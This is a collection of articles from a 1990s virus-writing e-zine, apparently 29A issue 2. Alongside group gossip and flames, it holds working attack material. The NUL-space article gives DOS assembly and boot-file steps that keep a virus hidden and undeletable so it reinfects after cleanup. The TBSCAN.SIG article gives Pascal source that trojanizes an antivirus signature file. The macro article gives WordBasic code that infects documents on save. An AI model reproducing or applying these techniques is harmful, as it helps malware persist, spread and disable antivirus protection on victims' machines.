Sepultura's departure ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Shortly after the release of IR#8 Sepultura, our main organizer and backbone of IR/G decided to leave the scene altogether. I do miss his programming skills that I don't have. Although I don't blame him, his departure was in my eyes the beginning of the end of IR/G as I know it. I hereby want to thank him for all the things he has done for me and for IR/G.

No backbone ÄÄÄÄÄÄÄÄÄÄÄ With the departure of Sepultura we also lost our talent to organise. Without this backbone, we weren't able to bring out any magazine after IR#8. We tried to find another person in our group with the ability and will to organise, yet we couldn't find/trick someone into taking that task upon him. Without any organisation, a group cannot be in my view.

Hate to code ÄÄÄÄÄÄÄÄÄÄÄÄ Not being motivated very much, I found myself unable to program very much. My time being consumed by college I had a little time to research virus-related issues. All I could do is think of nice tricks, program them and comment them a bit, but I could not find the heart to make a total virus for it. This left me with a huge pack of tricks, which I haven't used in viruses yet. Eventually I hope I can find the motivation and time to put all these tricks together in one big virus, which will probably be my last virus I will make. This is not caused by a lack of interest, and of course I will stay in the scene trying to think of new tricks and innovate ideas.

Prologue ÄÄÄÄÄÄÄÄ Due to the circumstances and the overall quality of the viruses produced by IR/G I think it suits me and them best that I leave the group and continue the path of virus writing on myself, contributing things to various groups. I hope that the other people in IR/G won't be mad about my decision to leave them. I wish them all the best, and hereby my promise that this is not the last time they will hear from me.

Thanks ÄÄÄÄÄÄ Given the opportunity here I would like to thank quite a few people who have supported me in the past and hopefully will stay to do so in the future. The Unforgiven, for his many email conversations, excellent ideas on human nature and beliefs, and, most importantly his friendship during the time. I hope I will be able to meet you sometime. Rogue, for showing his excellent

code examples, although I've never witnessed any program of him finished in the wild, save for one. Most probably a badass to other but a friend to me. Mister Sandman, to whom I gave this article in order to publish it in their second magazine (they beat us *grin*). Sepultura, for his organising skills and trying to keep the whole lot together. I could thank a lot more people, but I think that I must keep it short, because nobody is interested in it save for the people who are actually thanked.

And now talking Rajaat / 29A...

Last update ÄÄÄÄÄÄÄÄÄÄÄ It sure looks like that when I write some article, it always seems to get outdated when magazines don't get released as quickly as anticipated (sorry folks, couldn't resist joking about it). But since the time I wrote the upper a few things happened. You probably have read now somewhere in this magazine that I've become a member of 29A! My hate to code went away but that doesn't mean I've plenty of times to code, but I'll do my best and see what I can have in store for you.

What the hell am I up to? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To be honest, I don't know. I have here about 5 unfinished programming projects I should finish soon, and I hope I will have the time at my disposal for finishing them. Anyway, I'm proud to be a 29Aer and I hope I can keep up the group's high standard of virus coding.

And how about Immortal Riot? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ I wish I knew, I think the best thing my friend The Unforgiven and his comrades can do is split from Genesis again (in my eyes it's history) and go on their own again, should they feel like coding again. I hope that you, the reader, will once again witness the excellent magazines of our "hj„ltar i sn”n" (heroes in the snow).

Rajaat / 29A

Envy makes dorks resuscitate ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A It has passed one year or so since IRG#8 (actually IRG#1, but many people seem to think with their ass) was released. And happily that's the last time we had the chance to hear about a pampered child whose protagonism and egocentrism desire reached its real highlight. You know who he is. He retired because he "did not have enough time to keep on leading IRG", as school sucked most of his free time. Well... for a long time we were almost forced to swallow his childish attitude, his deic-wannabe behavior, and his lots of attempts to suck the whole attention everytime, everywhere (haven't you ever hated to read his stupid introductions to somebody else's articles published in IRG#8?). And we had to read BULLSHIT like this from him: - - - - - - - - - - - - - - - - - - - [...] The magazine is about 1.4 meg, of articles. Unlike some 'virus' magazines / music files to impress. - - - - - - - - - - - - - - - - - - - -

- - - - - - - - - - - - - - - - ->8 which about 99% of which is actual we dont need 500k viewers / intros - - - - - - - - - - - - - - - - ->8

A pretty modest boy, heh??? but that's not all. Besides this, we all in the virus scene had to stand him claiming "IRG#8 is the best zine about viruses ever released", being that a real offense to VLAD and the great work they did during their presence in the scene. Now it is when we all realise about why this boy i'm talking about is so "well appreciated" among most of the mentally sane and concious-of-what-they-say virus writers. Fortunately he retired and left the scene. IRG died. And we all lived much better since that happened, as we had to stand no longer any motherfucking candy eater telling us shit about how cool he was. While he was comfortably pulling himself home, we all were happily having a good run of things in the virus scene. In fact everything was going almost perfect. But you know perfection does not exist. And that's why he briefly reappeared by june/july of this year, using other nick and apparently trying to hide his previous identity, and to dazzle the scene with a new virus he had written. This virus was released via IRC (as far as i know) within a ZIP file which contained, among others, a text file called "readme.1st", which started this way: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 [...] % Important % _____________ I do not give permission to anyone to publish this virus in their Vx zine. This means the fools who published the source to Zhengxi, 6 months after it was made publicly available, and kept rambling on about they were the zine to release the source.. they know who they are. Also, ugly children are not permitted to read this text. [...] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 It's a pretty curious thing to see what may ENVY drive people to do. Well, it is obviously about us, 29A, who published the original source code of Zhengxi in 29A#1, in december 1996. That's why i decided to use this section of the magazine to reply such a stupid quote. So keep on reading my

answer for the child, same as if it were an e-mail reply: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ From : Mister Sandman/29A, <[email protected]> ³ ³ To : The Soul Manager (previously known as *********), <***@***.***> ³ ³ About: Your big mouth ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Hi fool. > I do not give permission to anyone to publish this virus in their Vx zine Do you think i'd ever publish anything from you in 29A? not in this life... > This means the fools who published the source to Zhengxi, 6 months after > it was made publicly available, and kept rambling on about they were the > zine to release the source.. You mean the same ones who kicked your ass? ah, yeh, it's us... well, i don't really mind a shit what you think or don't, but i'll try to make things clear for the rest of the people who are reading this. Zhengxi was first publically released in june 1996, but only in its binary form. And it was only a few weeks before 29A#1 was released, in december 1996, when some fortunate VXers could get the original source code for it, and that's what we eventually published, with the agreement of its author, as at that time Zhengxi was so far the most asked virus in the scene. And that's why we say we were the first zine to release the source, as it is the only truth. No one else did it before. Maybe this reaction is the consequence of a frustrated attempt to be you and your group the first ones to publish it, heh? > they know who they are. In fact we even know who you are, despite your intention to hide yourself under a new nick (The Soul Manager) and then talk shit about us, instead of encouraging yourself to say what you think with your original nick. Pathetic. With Zhengxi or without it, you're still dead and i'm still Elvis.

Mister Sandman, chew my success. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 I would finally like to add a brief text in latin, the language which gives (actually gave) his nick to the dork i'm talking about, to describe what he exactly makes me think and the way i feel every time i hear about him. Those who can speak/translate latin will surely enjoy it a lot.

"Qvotienscvmqve tvvm cognomen avdio navseas sentio, qvotienscvmque tvos viros lego vomire volo, et vomiam ac mingam ac concvlcabo sepvltvra tva, qvod ipsa sicvt cognomen tibi fvit, atqve in ea reqviesces... cvm moriaris... si reapse aliqvando vixisti".

Despite my initial intentions, i was about to forget about publishing this article, so it would not stand between the friendship of one of the VXers i admire most, now a 29A member, and the "guy" this article is all about, but the thing went suddenly fixed, as soon as i had noticed about the fact that the infamous "Soul Manager" had broken his... friendship?, with this friend of mine just because he'd joined 29A. Pretty curious meaning of friendship. It would be very easy to be ok in the VX side, among us all (not as between AVers, because they have economy standing between their interests and them) in the virus scene, but it seems that many people don't want it to be so. Oh, and... he's giving out all his shit as he's now changing his nick again so keep your eyes open and watch any dork you meet out. Fuck drugs off and get your rage in your ass, idiot.

Mister Sandman, bring me a dream.

Article separator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Mister Sandman/29A What is this article used for? answer is nothing. Its functionallity is merely esthetical, as it keeps the articles separated of the executable files of the magazine. So why am i writing anything here? well, there are still a few thingies which haven't been told in the rest of the articles and result kinda interesting or funny to read. For instance, do you know that: 666 * 3 = 1998? it seems like this is gonna be a magic year for the VX side. Will AVers die? will they be satanized? or will they maybe get medieval in their asses? who knows :) Other thing you should note is the fact that we have not included any virus index in this issue. It seemed to us pretty stupid as they are described in detail both in their corresponding source and in the "29A Labs", our website... describing them one more time would be a pain. There are also one couple thingies pending... the password for the secret area of our previous issue was "29akewl". We accept no complains, we didn't have much imagination at that time and were quite hurried, so... :P The other pending thing is the importance of the new features of our improved file browser. Now it is possible to load it with or without mouse, with or without intro, and so on. And once loaded, when reading any article, you will be able to choose between smooth or hard scroll. Now it is also possible to run the payload of any virus included in our zine when having loaded its source code from within the file browser. It is still possible, btw, to UUdecode binary files, albeit we have not implemented this feature yet. And finally, the screen saver can be loaded now just by pressing a hot-key. And note this is a DOS application, so we don't make responsible of the way it may work under *your* Windows95. At least under ours it works ok.

Optional parameters to 29A#2.EXE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i........... Don't load intro (argh!) m........... Enable mouse inside browser s........... Disable smooth scroll

File browser internal commands ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ #........... Activate screensaver b........... Activate boss screen g........... Run payload (if available) s........... Dis/able smooth scroll u........... UUdecode binary (i/a) F1.......... Further help (lame!)

Wish us some happy VX holidays and enjoy the zine!

Mister Sandman, bring me a dream.

Playing "Hide and Seek" ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> "Q" the Misanthrope It is a game of one-up-man-ship between the VX and the AV community. VX seems to be winning this battle but is also forcing new improvements. VX creates virus. AV creates scan strings. VX creates mutation. AV creates smart detectors. VX creates stealth. AV counters that with direct access. VX creates tunneling. AV stops that. VX creates tracing. AV stumbles. VX creates retro. AV stumbles. VX creates Stop AV from memory scanning. AV stumbles. VX creates macro viruses. AV goes nuts. VX creates new places to hide from AV. AV will probably stumble again.

Hide in NUL-Space ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Wouldn't it be great to hide in a file that could not be accessed. You can. There are little things called device drivers in your PC. COM1, COM2, LPT1 and CON are examples. NUL is also a device that serves little purpose except do nothing. An example of this: COPY *.* NUL will read all the files for errors and copy them into NUL-Space (nowhere). Try to create a file by the name of NUL, what could you do with it? An experiment is necessary. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 c:\>debug -a mov ah,52 int 21 int 3 -g AX=5200 BX=0026 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000 DS=0C9C ES=00C9 SS=0C9C CS=0C9C IP=0104 NV UP EI PL NZ NA PO NC 0C9C:0104 CC INT 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ES:BX points to the DOS list of lists. From Ralf Browns interrupt list: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Format of List of Lists: Offset Size Description 00h DWORD pointer to first Drive Parameter Block 04h DWORD -> first System File Table 08h DWORD pointer to active CLOCK$ device's header [...] 22h 18 BYTEs actual NUL device driver header (not a pointer!) NUL is always the first device on DOS's linked list of device drivers - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 ES:BX+22h is what is of interest. Back to debug. - - - - - - - - - - - - - - - - - - -d es:48l12 00C9:0040 00 00C9:0050 CD 0D 4E 55 4C 20 20 20-20 - - - - - - - - - - - - - - - - - - -

- - - - - - - - - - - - - - - - - ->8 00 A6 C9 04 80 C7 0D ........ 20 ..NUL - - - - - - - - - - - - - - - - - ->8

See the word NUL at es:bx+2Ch. Lets change it to AUTOEXEC. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 -e es:52 "AUTOEXEC"

-q - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Back to DOS. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 c:\>type c:\autoexec.bat c:\>ren c:\autoexec.bat test.bat Path not found c:\>del c:\autoexec.bat Access denied - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Notice what happened when AUTOEXEC.BAT was in NUL-Space. It could not be read, renamed or deleted. Wouldn't this be a great way to protect our virus. Ralf Browns list showed that the actual NUL device was only 18 bytes long. Could you just make another 18 byte NUL device by another name? The answer is YES! Here is the device format from Ralf Brown: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Format of DOS device driver header: Offset Size Description 00h DWORD pointer to next driver, offset=FFFFh if last driver 04h WORD device attributes (see below) 06h WORD device strategy entry point call with ES:BX -> request header 08h WORD device interrupt entry point 0Ah 8 BYTEs blank-padded character device name Bitfields for device attributes: Bit(s) Description 15 set (indicates character device) 14 IOCTL supported 13 (DOS 3.0+) output until busy supported 12 reserved 11 (DOS 3.0+) OPEN/CLOSE/RemMedia calls supported 10-8 reserved 7 (DOS 5.0+) Generic IOCTL check call supported 6 (DOS 3.2+) Generic IOCTL call supported 5 reserved 4 device is special (use INT 29 "fast console output") 3 device is CLOCK$ 2 device is NUL 1 device is standard output 0 device is standard input - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 From the debug experiment: - - - - - - - - - - - - - - - - - - -d es:48l12 00C9:0040 00 00C9:0050 CD 0D 4E 55 4C 20 20 20-20 - - - - - - - - - - - - - - - - - - -

- - - - - - - - - - - - - - - - - ->8 00 A6 C9 04 80 C7 0D ........ 20 ..NUL - - - - - - - - - - - - - - - - - ->8

We see that the next device in the chain is at C9A6:0000h, attributes are 8004h and that the strategy and interrupt entry points are 00C9:0DC7h and 00C9:0DCDh. The strategy and interrupt points for a NUL device just need to point to a RETF (they really could point anywhere since they are not used). To make our own NUL device we can do something like this:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 [...] mov ah,52h ;get list of lists int 21h cld ;get address of next device in ds:si lds si,dword ptr es:[bx+22h] push cs ;point to our device pop es mov di,offset virus_device movsw ;copy device chain to our device movsw ;then hook in our device mov word ptr ds:[si-02h],cs mov word ptr ds:[si-04h],offset virus_device [...] virus_device dd -1h dw 8004h ;NUL character attributes dw return_far ;strategy pointer dw return_far ;interrupt pointer db "VIRUS " ;any file name your want in NUL-Space [...] return_far: retf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 When your virus starts, have your virus create a first generation virus whose host is the standard CD 20 (terminate immediately) before it starts infecting. Name that virus C:\FDGDIKGA.PKB (pseudo random name and extension but should be same for all infections on that PC). This name could be derived from the drive C: serial number: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 [...] mov ax,6900h ;get drive serial number mov bx,0003h ;drive C: push cs pop ds mov dx,offset info ;point to where serial number will be int 21h ;create file name from the drive C: serial number cld mov si,offset serialnumber mov di,offset device_name mov cx,0004h ;loop 4 times get_serial: lodsb ;get start of serial number push cx mov cl,04h ;inner loop 4 times make_file: sub al,cl ror al,cl ;pseudo random letter mov bl,al and bl,0fh add bl,"A" ;create letter from A to P mov byte ptr ds:[di],bl inc di ;save it and move pointer loop make_file pop cx loop get_serial mov byte ptr ds:[file_dot],"." ;restore dot mov byte ptr ds:[asciz_nul],00h ;restore nul mov dx,offset file_name ;now create virus by name at DS:DX [...] info dw 0 serialnumber dd 0 ;drive C: serial number

db file_name db device_name db file_dot db asciz_nul db - - - - - - - - - - - -

19 dup(0) "C:\" "VIRUS000" ".000" 00h,00h,00h - - - - - - - -

;misc junk ;pseudo virus name goes here ;with pseudo extension - - - - - - - - - - - - - - - - ->8

Hide it with the System and Hidden attribute, maybe even Read-Only. Now create a NUL device by the name of FDGDIKGA (same as pseudo random file name). Add this line to CONFIG.SYS: INSTALL=C:\FDGDIKGA.PKB Now start infecting. Go memory resident (you really only need to have the 18 bytes of your NUL device resident). What will now happen is magic. When the PC reboots there will load a program that doesn't have an executable extension so most AV programs won't even try to scan it. If they do they won't be able to read it or delete it because it is in NUL-Space. The AV people will be able to add the scan string for your virus and remove all the children created by it but they will not get the virus in NUL-Space. It will continue to infect again and again. Maybe only have it infect on Fridays or on the 13th of each month so it will appear that the virus has gone away but later it magically returns.

Hiding in NUL-Space and Windows 95 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ It works just fine with one notable exception; SCANDSKW.EXE that is automatically launched by the System Agent detects that there is a device by the same name as a file and will flag it. The solution is simple. Create another NUL device by the name of SCANDSKW. This stops SCANDSKW from working but doesn't flag an error. Note: when going resident with the 18 byte NUL device, you might want put it in the same location as the AUX device. This device is never ever sed and is just wasting space. AUX is another name for COM1. PRN could used but some older programs actually use it. LPT3's 18 bytes also could used. The way to find the AUX device is to search the device chain:

to ube be

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 mov ah,52h ;get list of lists int 21h add bx,22h ;point to NUL device check_end: cmp word ptr es:[bx],-1 ;end of chain? je end_chain cmp word ptr es:[bx+0ah],"UA" jne next_device ;Look for "AUX " cmp word ptr es:[bx+0ch]," X" jne next_device [...] ;found AUX device at ES:BX change the name at ES:BX+0Ah to whatever you want [...] mov word ptr es:[bx+04h],8004h ;set NUL device jmp short end_chain next_device: les bx,dword ptr es:[bx] ;get next device in chain jmp short check_end end_chain: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 To see the power of NUL-Space, try this in Windows 95: md\"NUL It locks the computer completely up.

".

Hide in Cypher Text ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PkZip has the ability to password protect ZIP files. This our advantage. Have the virus run this:

can be used to

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 PKZIP -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 And add this to the AUTOEXEC.BAT: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 @ECHO OFF PKUNZIP -O -SPASSWORD C:\VIRUS.ZIP C:\VIRUS.COM - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This will allow multiple reinfections but the source will not be found with a virus scanner because it will not be able to expand the ZIP file. If this is over your head, save it and come ter. Have fun in NUL-Space. Dear AV community, You are in check! It is now your move.

"Q" the Misanthrope

back to it when you are smar-

TBSCAN.SIG infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Malware TBAV uses so called AVRs in order to add detection routines for catching polymorphic viruses that avoid its generic decryption engine. Such an AVR is just native code which is loaded and... executed! by TbScan, and is stored along with the virus signatures in the signature file TBSCAN.SIG. This signature file begins with a 128-byte-long header, in which we can find the amount of 16-byte-long blocks (paragraphs) needed by the AVRs at offset 70h, stored as a word (2 bytes). At offset 72h is stored the overall size of the virus signatures, as a doubleword. That's all we need to know about the TBSCAN.SIG header in order to trojanize or infect it. The AVRs are located just after the above contents in the file, and this is the place where our virus or trojan has to be inserted. Since i do not know all the specifications of it, we can just take what is already there and modify it so there will be enough space for the new AVR code. Each AVR has a 16-byte-long header. The word at offset 0ch of this AVR header holds the size of the AVR code, including its header size. Just after this header, the AVR code (wich we'll describe later) follows. And after this code we can find the virus name in ASCIIZ format. The virus name size (including the ending 0) is stored in a byte at offset 0ah of the AVR header. The total size (header+code+name) is stored as well in a word at offset 0eh in the header. Finally, the AVR code and the virus name are encrypted by a bytewise xor with 44h. IAVR, the program included below, does all this stuff so you can insert any code you want as an AVR in your TBSCAN.SIG file. You just have to call it 'IAVR filename_of_AVR_code'. If you don't specify any filename, IAVR will keep on waiting for you to type in the AVR code. Then, after it has read the code, IAVR will prompt for the virus name your AVR has to be associated with. The new signature file will then be written to a new file whose name will be TBS.SIG. And now, before including my program IAVR, let's have a look at the format of any AVR code. It's a quite simply relocateable code. If it returns a carry flag, it's telling TbScan that the virus was found. The AVR code has to be ended with a retf instruction. The rest is just normal code, so you can program as usual and insert anything you want there. This is an example of an AVR which triggers all the files as infected: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 model tiny .code org 100h start: stc retf end start - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 And finally, the Pascal source of my IAVR program, which is able to add any AVR to TBSCAN.SIG, writing the resulting file as TBS.SIG. You can find the compiled executable version of this program in the \FILES directory of this issue of 29A. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 uses Crt; const Name : String = 'Default_Virus';

type PWord = ^Word; var F1,F2,F3 : File; ML,L,i,BP1 : word; OP,Size_ : LongInt; Buffer : Array[0..$2000] of Byte; begin Size_:=0; assign(F1,'tbscan.sig'); Reset(f1,1); assign(F2,'tbs.sig'); rewrite(f2,1); assign(F3,ParamStr(1)); reset(F3,1); blockread(F1,Buffer,$80); blockwrite(F2,Buffer,$80); blockread(f1,buffer,$1fff); blockread(f3,buffer[$10],$2000,L); L:=L+$10; Buffer[$0c]:=L and $FF; Buffer[$0d]:=L div $100; Write('Name :'); Readln(Name);

{ { { { { { { { {

open original signature file create new signature file open file with code to insert read header of signature file and simply write it to new one read first 1FFF byte of orig. read upto 2000 byte of code add size of header for AVR write header size into buffer

} } } } } } } } }

{ ask for a name for the virus } { thats detected by the new AVR } For i:=1 to Ord(Name[0]) do Buffer[L+I-1]:=Ord(Name[i]); { write it into buffer } Buffer[L+Ord(Name[0])]:=0; { and end it with a zero } L:=L+Ord(Name[0])+1; { add length of name to size } Buffer[$0a]:=Ord(name[0])+1; { store length of name } Buffer[$0e]:=L and $FF; { and full length of AVR } Buffer[$0f]:=L div $100; for i:=$10 to L do Buffer[I]:=Buffer[I] XOR $44; { encrypt the new AVR } blockwrite(f2,buffer,L); { and write it to new sig.-file } ML:=L; seek(f1,$80); { seek back to top of original } { AVRS } { now write the rest of the original signature file to the new one } L:=$2000; While L=$2000 do Begin BlockRead(F1,Buffer,L,L); BlockWrite(F2,Buffer,L); End; Seek(F2,$80); Repeat OP:=FilePos(f2); blockread(f2,buffer,$1fff); if Buffer[1]=$FF then begin

{ begin right after header again }

If Not( Eof(F2) ) then Begin BP1 := 0;

{ now the signatures

{ save position we have in file } { read a bit from file } { is it an cotrol entry ? } { yes, is control entry } for i:=$10 to Buffer[$0e]+word(buffer[$0f])*256 do Buffer[I]:=Buffer[I] XOR $44; { decrypt it } i:=Buffer[$0c]+word(buffer[$0d])*256; { ??? } OP:=OP+Buffer[$0e]+word(buffer[$0f])*256; { add size of entry to position } { in file } Size_ := Size_ + Buffer[$0e]+word(buffer[$0f])*256; { summarize all sizes } Seek(F2,OP); { seek to position after entry } end; Until Eof(F2) or ( Buffer[1]<>$FF ); }

while (Buffer[BP1]<>0) do begin

{ repeat until end of this } { signature-block } Size_ := Size_ + Buffer[BP1+8] + Buffer [BP1+7] + 10; { add size of entry } BP1:=Buffer[BP1+8]+$A+BP1+Buffer[BP1+7]; { here too } if BP1>=$1E00 then begin { we need a new part of file to } { read sometimes } Seek(F2,OP+LongInt(BP1)); OP:=OP+LongInt(Bp1); BlockRead(F2,Buffer,$2000); BP1:=0; end; end; Size_ := Size_ + $81; { somehow 129 byte was missed } Seek(F2,$70); BlockRead(F2,Buffer,6); { read 6 byte from offset $70 } Seek(F2,$70); PWord(@Buffer[0])^:=PWord(@Buffer[0])^ + ( (ML+15) DIV 16) ; { add para size of new AVR code } Buffer[2]:=Size_ and $FF; { writew new size of signatures } Buffer[3]:=( Size_ SHR 8 ) and $FF; Buffer[4]:=( Size_ SHR 16 ) and $FF; Buffer[5]:=( Size_ SHR 24 ) and $FF; BlockWrite(F2,Buffer,6); { write the 6 byte back to file } End; Close(F1); Close(F2); Close(F3); end. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Malware

Macro virus trickz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A This article is not intended to be a tutorial for macro virus writin. It simply states some common problemz and known limitationz with actual macro virii, then sugests solutionz and provides some code examplez for them. The reader should be already familiar with some of the conceptz surroundin macro virii stuff. If not, i sugest to read first a "real" tutorial about the subject and then jump back to this article.

Index ÄÄÄÄÄ 1. Introduction 2. The "SaveAs" problem 2.1. The "SaveAs" solution 2.2. The "SaveAs" example 3. The "MultiLanguage suport" problem 3.1. The "MultiLanguage suport" solution 3.2. The "MultiLanguage suport" example 4. Final Note 5. Disclaimer

1. Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ One day while i was surfin the Web, unexpectedly found a couple of linkz containin Word macro virii stuff. After havin programed some DOS virii and researched about PE infection, one has to admit that the idea of a virus writen in WordBasic or VBA... mmm... well, sounds a bit stupid >8P (DS1, NJ: dont get mad... >8D) Indeed, macro virii seem stupid once u write one, but at that moment i had written none. After i downloaded and played with some of them, i actually understood not only how stupid macro virii were, but also Microsoft programerz. They're all clueless on what *security* means :)

2. The "SaveAs" problem ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Just when i started to write my own macro virus, my atention was caught by an interestin mesage posted to alt.comp.virus. The topic was about that typical nuisance with macro virii that reveals their presence: the "SaveAs" problem. As i had thought, it was posible to overcome this, and that mesage from an expert AVer (well ehem) had just confirmed it. The "SaveAs" problem occurs when u try to save any infected document with another name usin the "FileSaveAs" command. After the "SaveAs" dialog box appears, u cant change the drive, nor the directory path, nor the format type. Word always saves your document in the "templatez" directory, unablin u to change it. This is bad for the common clueless user and bad for the virus too, as it reveals its presence by tellin him somethin is wrong. It also reduces its chancez to spread coz now the user cant take home his (infected) document as long as Word doesnt let him save documentz to his floppy disk, due to the "SaveAs" problem. I have thought of diferent wayz to overcome this, however i'll discuss the method i actually implemented in my WM.CAP virus.

2.1. The "SaveAs" solution

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ How do we solve this problem then? easy, very easy once we understand what an infected document really is. We cant forget that an infected document is really a "template", that why Word doesnt let us change the drive, nor the directory path, nor the format type. Becoz its a "template" and templatez belong to the templatez directory! Ok, but what if we make Word think that the infected document, sorry i meant the infected "template", is a genuine Word document? this would allow the user to select the drive, path and any type for the document! right? right! but how? Easy again, once we understand why Word provides "templatez": to make user's life easier by creatin documentz based on such templatez, got it? All we have to do is create a new document based on our active infected template! in other wordz we have to "emulate" the "SaveAs" function as if Word were saving a genuine document. Lets write some code to ilustrate.

2.2. The "SaveAs" example ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Sub FileSaveAs On Error Goto endFileSaveAs Dim dlg As FileSaveAs GetCurValues dlg If dlg.Format <> 1 Then Dialog dlg FileSaveAs dlg Infect(dlg.Name) Else TempWindow = Window() OriginalName$ = dlg.Name FileNew .Template = FileName$() On Error Goto CloseDoc GetCurValues dlg dlg.Name = OriginalName$ Dialog dlg FileSaveAs dlg On Error Goto endFileSaveAs Infect(dlg.Name) If TempWindow >= Window() TempWindow = TempWindow + 1 EndIf WindowList TempWindow CloseDoc: FileClose 2 End If endFileSaveAs: End Sub

' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '

Our "FileSaveAs" macro Declare dlg as FileSaveAs dialog box Get current values into dlg Not a template? (i.e. not infected?) No, a clean document, show box Save the new document Infect it! go! It's a template (i.e. it's infected) Get current window (template) Get original document name Create new doc based on template! Now on: if any error close new doc Get current values for new doc Change doc name for original one Ok, show FileSaveAs dialog box Save the new document Now on: if any error just go Ok, infect new document Get old template window number Make it the active window Close it without promptin We're done! "SaveAs" problem fixed!

The trick here is that the "FileSaveAs" subroutine behaves diferently acordin to the object bein saved. If the object is a genuine Word document (i.e. not infected), the routine simply shows the "SaveAs" dialog box and tries to infect it afterwardz. If the object bein saved is a "template" (i.e. perhaps an infected document) then the routine first creates a new document based on that active template (which is actually the infected document itself) and then shows the "SaveAs" dialog box from this newly created clean document. This time Word allows to choose the format type, drive letter and directory namez. After the user chooses the document name and saves it, the routine simply infects the document, swaps to the window containin the old template (i.e. the old infected document) and finally closes it leavin open the new "Saved-As" document just as Word itself does.

